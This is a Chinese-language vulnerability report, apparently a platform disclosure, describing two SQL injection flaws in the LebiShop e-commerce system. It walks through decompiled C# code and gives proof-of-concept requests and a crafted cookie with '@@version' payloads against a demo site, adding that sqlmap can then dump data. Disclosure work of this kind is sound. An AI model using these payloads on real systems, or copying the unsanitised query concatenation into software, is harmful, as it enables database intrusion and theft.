### 简要描述：
LebiShop商城系统最新版两处SQL注入二
### 详细说明：
LebiShop商城系统最新版两处SQL注入
第一处SQL注入
/ajax/ajax_user.aspx
对应反编译后的文件shop.ajax.ajax_user.UserProduct_Edit方法
```
// Shop.Ajax.Ajax_user
public void UserProduct_Edit()
{
int t = RequestTool.RequestInt("type", 141);
int num = RequestTool.RequestInt("num", 1);
int pid = RequestTool.RequestInt("pid", 0);
string property = RequestTool.RequestString("property");
string propertypriceids = RequestTool.RequestString("propertypriceids");
int warndays = RequestTool.RequestInt("warndays", 0);
if (t != 141 && t != 142 && t != 143 && t != 144)
{
base.Response.Write("{\"msg\":\"OK\"}");
return;
}
if ((t == 141 || t == 144) && this.CurrentUser.id == 0)
{
base.Response.Write(string.Concat(new string[]
{
"{\"msg\":\"",
base.Tag("请先登陆"),
"\",\"url\":\"",
base.URL("P_Login", ""),
"\"}"
}));
return;
}
EX_User.UserProduct_Edit(this.CurrentUser, pid, num, t, property, warndays, propertypriceids);
```
注意这里的propertypriceids通过RequestTool.RequestString方法获取
最后进入了EX_User.UserProduct_Edit函数，跟进
```
// Shop.Bussiness.EX_User
public static void UserProduct_Edit(Lebi_User CurrentUser, int pid, int num, int t, string property, int warndays, string propertypriceids)
{
string CookieName = "UserProduct" + t;
Lebi_Product pro = EX_Product.GetProduct(pid);
if (pro == null)
{
return;
}
if ((pro.Type_id_ProductType == 321 || pro.Type_id_ProductType == 322) & (DateTime.Now < pro.Time_Start || DateTime.Now > pro.Time_Expired))
{
return;
}
if (CurrentUser.id <= 0)
{
NameValueCollection nv = CookieTool.GetCookie(CookieName);
string key = "p" + pro.id.ToString();
property = HttpUtility.UrlEncode(property);
string userproduct = nv.Get(key);
if (string.IsNullOrEmpty(userproduct))
{
nv.Add(key, num.ToString() + "|" + property);
}
else
{
nv.Set(key, num.ToString() + "|" + property);
}
CookieTool.WriteCookie(CookieName, nv, 1);
return;
}
Lebi_User_Product upro = B_Lebi_User_Product.GetModel(string.Concat(new object[]
{
"user_id=",
CurrentUser.id,
" and product_id=",
pid,
" and type_id_UserProductType=",
t
}));
decimal propertyprice = 0m;
if (propertypriceids != "")
{
List<Lebi_ProPerty> ps = B_Lebi_ProPerty.GetList("id in (" + propertypriceids + ")", "");
foreach (Lebi_ProPerty p in ps)
{
propertyprice += p.Price;
}
}
```
如果propertypriceids不为空
```
B_Lebi_ProPerty.GetList("id in (" + propertypriceids + ")", "");
```
propertypriceids进入了B_Lebi_ProPerty.GetList方法
而且propertypriceids在进入in条件语句时，没有进行处理
导致在GetList中propertypriceids没有处理，导致sql注入
发送请求：
```
http://demo.lebi.cn/ajax/ajax_user.aspx?__action=UserProduct_Edit&url=/
type=141&propertypriceids=@@version
```
[<img src="https://images.seebug.org/upload/201501/19230421ed5589a9a87800df36aa1b3154c2c19c.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/19230421ed5589a9a87800df36aa1b3154c2c19c.png)
[<img src="https://images.seebug.org/upload/201501/19230437b850f27a66764a8cffe75d43de0d1edd.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/19230437b850f27a66764a8cffe75d43de0d1edd.png)
使用SQLmap即可跑出数据
第二处SQL注入
```
// Shop.Ajax.Ajax_user
public void User_Reg()
{
string verifycode = RequestTool.RequestString("verifycode");
string code = CookieTool.GetCookieString("CheckCodef");
if (code != verifycode)
{
base.Response.Write("{\"msg\":\"" + base.Tag("验证码错误") + "\"}");
return;
}
string UserName = RequestTool.RequestString("UserName");
string PWD = RequestTool.RequestString("Password");
int count = B_Lebi_User.Counts("UserName='" + UserName + "'");
if (count > 0)
{
base.Response.Write("{\"msg\":\"" + base.Tag("用户名已注册") + "\"}");
return;
}
NameValueCollection nv = CookieTool.GetCookie("parentuser");
int parentuserid = 0;
if (!string.IsNullOrEmpty(nv.Get("id")))
{
string parentuserid_ = nv.Get("id");
Lebi_User puser = B_Lebi_User.GetModel("id=" + parentuserid_);
if (puser != null && this.SYS.IsUsedAgent == "1" && B_API.Check("plugin_agent"))
{
parentuserid = puser.id;
puser.Count_sonuser++;
B_Lebi_User.Update(puser);
}
}
```
注意这里
nv = CookieTool.GetCookie("parentuser");
从cookie中获取parentuser的值
然后如果nv中存在id的键值，则
parentuserid_ = nv.Get("id");
最后parentuserid_进入B_Lebi_User.GetModel("id=" + parentuserid_);
由于在GetModel中，id= parentuserid_，没有处理，也没有单引号保护，导致sql注入
在发送请求
```
http://demo.lebi.cn/ajax/ajax_user.aspx?__Action=User_Reg&url=/
UserName=111111asdf&Password=111111&Password1=111111&Email=111111%40111.com&verifycode=02025&RealName=&Sex=%E7%94%B7&Birthday=&MobilePhone=&Phone=&Fax=&QQ=
```
设置cookie
```
parentuser=id=1 and id=@@version
```
[<img src="https://images.seebug.org/upload/201501/1923203734ae20c711980edae11d5a3be287824f.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/1923203734ae20c711980edae11d5a3be287824f.png)
### 漏洞证明：
京公网安备 11010502034610号
暂无评论